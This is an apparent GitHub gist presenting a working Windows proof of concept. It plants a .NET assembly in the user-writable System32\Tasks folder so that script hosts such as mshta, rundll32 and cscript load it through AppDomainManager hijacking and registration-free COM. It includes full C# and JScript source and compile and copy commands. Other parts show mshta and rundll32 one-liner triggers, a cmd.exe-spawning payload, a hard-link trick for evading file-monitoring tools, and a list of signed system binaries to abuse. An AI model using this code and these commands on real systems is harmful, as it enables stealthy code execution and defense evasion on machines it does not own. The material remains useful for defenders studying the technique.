Skip to content

Instantly share code, notes, and snippets.

@mgeeky
Created April 30, 2020 21:41
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save mgeeky/1cdb82add416328288ef8cc659ae478a to your computer and use it in GitHub Desktop.
Save mgeeky/1cdb82add416328288ef8cc659ae478a to your computer and use it in GitHub Desktop.
You have found THE coolest gist :) Come to DerbyCon to learn more. Loading .NET Assemblies into Script Hosts - Abusing System32||SysWow64\Tasks writable property

Executing Arbitrary Assemblies In The Context Of Windows Script Hosts

Issue.

By locating an arbitrary assembly in C:\Windows\System32\Tasks or C:\Windows\SysWOW64\Tasks we can load or influence any script hosts or ANY .NET Application in System32.

For example, cscript, wscript, regsvr32, mshta, eventvwr

This is a design pattern fully supported and documented in the CLR.

As described in How the Runtime Locates Assemblies, we can see that probing of the application base can be influenced.

The runtime always begins probing in the application's base, which can be either a URL or the application's root directory on a computer. If the referenced assembly is not found in the application base and no culture information is provided, the runtime searches any subdirectories with the assembly name. The directories probed include:

[application base] / [assembly name].dll

[application base] / [assembly name] / [assembly name].dll

If we are trying to load a custom assembly into say, mshta.exe, we can take advantage of the fact that C:\Windows\System32\Tasks is a globally writable path. We simply place an assembly named tasks.dll into either C:\Windows\System32\Tasks or C:\Windows\SysWow64\Tasks.

There are several implications to this. Let me describe two and provide PoC scripts and binaries to demonstrate.

  1. We can leverage the environment variables that setup custom Application Domains, https://blogs.msdn.microsoft.com/shawnfa/2005/07/21/setting-up-an-appdomainmanager/

Example: tasks.cs

using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;


public sealed class MyAppDomainManager : AppDomainManager
{
  
    public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
    {
		System.Windows.Forms.MessageBox.Show("AppDomain - KaBoom!");
		// You have more control here than I am demonstrating. For example, you can set ApplicationBase, 
		// Or you can Override the Assembly Resolver, etc...
        return;
    }
}

/*
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:tasks.dll tasks.cs
set APPDOMAIN_MANAGER_ASM=tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
set APPDOMAIN_MANAGER_TYPE=MyAppDomainManager
set COMPLUS_Version=v4.0.30319
copy tasks.dll C:\Windows\System32\Tasks\tasks.dll
copy tasks.dll C:\Windows\SysWow64\Tasks\tasks.dll


*/

Trigger the Payload with a simple one-liner


mshta.exe javascript:a=new%20ActiveXObject("System.Object");close();
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";a=new%20ActiveXObject("System.Object");close();

tasks.js

// Controls the search path for unmanged dlls
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'c:\\Windows\\System32\\Tasks';
new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_ASM') = 'tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null';
new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_TYPE') = 'MyAppDomainManager';


var o = new ActiveXObject("System.Object"); // Trigger AppDomainManager Load

In addition to leveraging the AppDomainMangers to load our assemblies, we can leverage Registration-Free COM to load and create objects.

Putting this together, we can see a complete .NET Assembly that demonstrates both capabilities.

tasks.cs

using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;

using System.IO;
using System.Reflection;
using System.Runtime.Hosting;


public sealed class MyAppDomainManager : AppDomainManager
{
  
    public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
    {
		System.Windows.Forms.MessageBox.Show("AppDomain - KaBoom!");
		// You have more control here than I am demonstrating. For example, you can set ApplicationBase, 
		// Or you can Override the Assembly Resolver, etc...
        return;
    }
}

/*
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:tasks.dll tasks.cs
set APPDOMAIN_MANAGER_ASM=tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
set APPDOMAIN_MANAGER_TYPE=MyAppDomainManager
set COMPLUS_Version=v4.0.30319
copy tasks.dll C:\Windows\System32\Tasks\tasks.dll
copy tasks.dll C:\Windows\SysWow64\Tasks\tasks.dll

Simple One-Liner Triggers.
mshta.exe javascript:a=new%20ActiveXObject("System.Object");close();
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";a=new%20ActiveXObject("System.Object");close();



*/


namespace MyDLL
{
	 
	 [ComVisible(true)]
	 [Guid("31D2B969-7608-426E-9D8E-A09FC9A5ACDC")]
	 [ClassInterface(ClassInterfaceType.None)]
	 [ProgId("MyDLL.Operations")]
	 public class Operations
	 {
		 
		 public Operations()
		 {
			 Console.WriteLine("So It Begins");
		 }
		 
		 [ComVisible(true)]
		 public string getValue1(string sParameter)
		 {
			 switch (sParameter)
			 {
				 case "a":
				 return "A was chosen";

				 case "b":
				 return "B was chosen";

				 case "c":
				 return "C was chosen";

				 default:
				 return "Other";
			}
		}
		 
		 [ComVisible(true)]
		 public string getValue2()
		 {
			return "From VBS String Function";
		 }
		 
		  [ComVisible(true)]
		 public void getValue3()
		 {
					System.Windows.Forms.MessageBox.Show("Hey From My Assembly");

		 }
		 
	 }
}

tasks.js

// var manifest string should be UTF-16
// Controls the search path for unmanged dlls
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'c:\\Windows\\System32\\Tasks';
new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_ASM') = 'tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null';
new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_TYPE') = 'MyAppDomainManager';


var o = new ActiveXObject("System.Object"); // Trigger AppDomainManager Load

// Ideally, we create a DLL, drop it anywhere and load it like DynamicWrapper...

// Loads Assembly, but expects it in the C:\Windows\System32 for example for managed code...
// Good news, CLR tries to resolve in sub dir with name of app.  
// Since C:\Windows\system32\tasks is user writable... :) CLR finds and loads our assembly.


var manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"><assemblyIdentity name="tasks" type="win32" version="0.0.0.0" /><description>Built with love by Casey Smith @subTee </description><clrClass   name="MyDLL.Operations"   clsid="{31D2B969-7608-426E-9D8E-A09FC9A5ACDC}"   progid="MyDLL.Operations"   runtimeVersion="v4.0.30319"   threadingModel="Both" /><file name="tasks.dll"> </file></assembly>';

var ax = new ActiveXObject("Microsoft.Windows.ActCtx");

ax.ManifestText = manifest;

var dwx = ax.CreateObject("MyDLL.Operations");
//WScript.StdOut.WriteLine(dwx.getValue1("a"));
//WScript.StdOut.WriteLine(dwx.getValue2());
dwx.getValue3() //Trigger Message Box

Trigger with cscript.exe tasks.js Observe Assemmbly execution from AppDomain initialization as well as calling into a method in our custom class

using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
using System.IO;
using System.Reflection;
using System.Runtime.Hosting;
using System.Dynamic;
/*
Appdomain Manager, looks for embedded Manifest on Load
*/
[ComVisible(true)]
[Guid("31D2B969-7608-426E-9D8E-A09FC9A5ABCD")]
[ClassInterface(ClassInterfaceType.None)]
public sealed class MyAppDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
//Console.WriteLine("AppDomain - KaBoom!");
//System.Windows.Forms.MessageBox.Show("Kaboom!");
System.Diagnostics.Process.Start("cmd.exe");
return;
}
}
/*
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:tasks.dll tasks.cs
set APPDOMAIN_MANAGER_ASM=tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
set APPDOMAIN_MANAGER_TYPE=MyAppDomainManager
set COMPLUS_Version=v4.0.30319
del C:\Windows\System32\Tasks\tasks.dll
del C:\Windows\SysWow64\Tasks\tasks.dll
copy /Y tasks.dll C:\Windows\System32\Tasks\tasks.dll
copy /Y tasks.dll C:\Windows\SysWow64\Tasks\tasks.dll
PowerShell Example:
$env:APPDOMAIN_MANAGER_ASM="tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null"
$env:APPDOMAIN_MANAGER_TYPE=MyAppDomainManager
$env:COMPLUS_Version=v4.0.30319
Trigger .NET Applications
[Sample PowerShell Arsenal query ]
gci C:\Windows\System32\*.exe | Get-PE | Where-Object { $_.Imports.ModuleName -Contains "mscoree.dll" }
FileHistory.exe /?
Microsoft.Uev.SyncController.exe
PresentationHost.exe
stordiag.exe
TsWpfWrp.exe
UevAgentPolicyGenerator.exe
UevAppMonitor.exe
UevTemplateBaselineGenerator.exe
UevTemplateConfigItemGenerator.exe
Trigger via One-Liner
mshta.exe javascript:a=new%20ActiveXObject("System.Object");close();
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";a=new%20ActiveXObject("System.Object");close();
Trigger Via JScript
// var manifest string should be UTF-16
// Controls the search path for unmanged dlls
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';
new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_ASM') = 'Tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null';
new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_TYPE') = 'MyAppDomainManager';
var o = new ActiveXObject("System.Object"); // Trigger AppDomainManager Load
// Ideally, we create a DLL, drop it anywhere and load it like DynamicWrapper...
// Loads Assembly, but expects it in the C:\Windows\System32 for example for managed code...
// Good news, CLR tries to resolve in sub dir with name of app.
// Since C:\Windows\system32\tasks is user writable... :) CLR finds and loads our assembly.
new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'C:\\Tools';
var manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"><assemblyIdentity name="tasks" type="win32" version="0.0.0.0" /><description>Built with love by Casey Smith @subTee </description><clrClass name="MyDLL.Operations" clsid="{31D2B969-7608-426E-9D8E-A09FC9A5ACDC}" progid="MyDLL.Operations" runtimeVersion="v4.0.30319" threadingModel="Both" /><file name="tasks.dll"> </file></assembly>';
var ax = new ActiveXObject("Microsoft.Windows.ActCtx");
ax.ManifestText = manifest;
var dwx = ax.CreateObject("MyDLL.Operations");
WScript.StdOut.WriteLine(dwx.getValue1("a"));
WScript.StdOut.WriteLine(dwx.getValue2());
*/
namespace MyDLL
{
[ComVisible(true)]
[Guid("31D2B969-7608-426E-9D8E-A09FC9A5ACDC")]
[ClassInterface(ClassInterfaceType.None)]
[ProgId("MyDLL.Operations")]
public class Operations //: DynamicObject
{
public Operations()
{
Console.WriteLine("So It Begins");
}
[ComVisible(true)]
public string getValue1(string sParameter)
{
switch (sParameter)
{
case "a":
return "A was chosen";
case "b":
return "B was chosen";
case "c":
return "C was chosen";
default:
return "Other";
}
}
[ComVisible(true)]
public string getValue2()
{
return "From VBS String Function";
}
}
}

Using Hard Links to point back to attacker controlled location.

mklink /h C:\Windows\System32\Tasks\tasks.dll C:\Tools\Tasks.dll
Hardlink created for C:\Windows\System32\Tasks\tasks.dll <<===>> C:\Tools\Tasks.dll

This can redirect the search to an arbitrary location and evade tools that are looking for filemods in a particular location.

xref: https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html

In addition, you can modify the following exe's to load the CLR under the influnce of the malicious DLL. FileHistory.exe /?

Microsoft.Uev.SyncController.exe

PresentationHost.exe

stordiag.exe

TsWpfWrp.exe

UevAgentPolicyGenerator.exe

UevAppMonitor.exe

UevTemplateBaselineGenerator.exe

UevTemplateConfigItemGenerator.exe

mmc.exe (example launch eventvwr)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment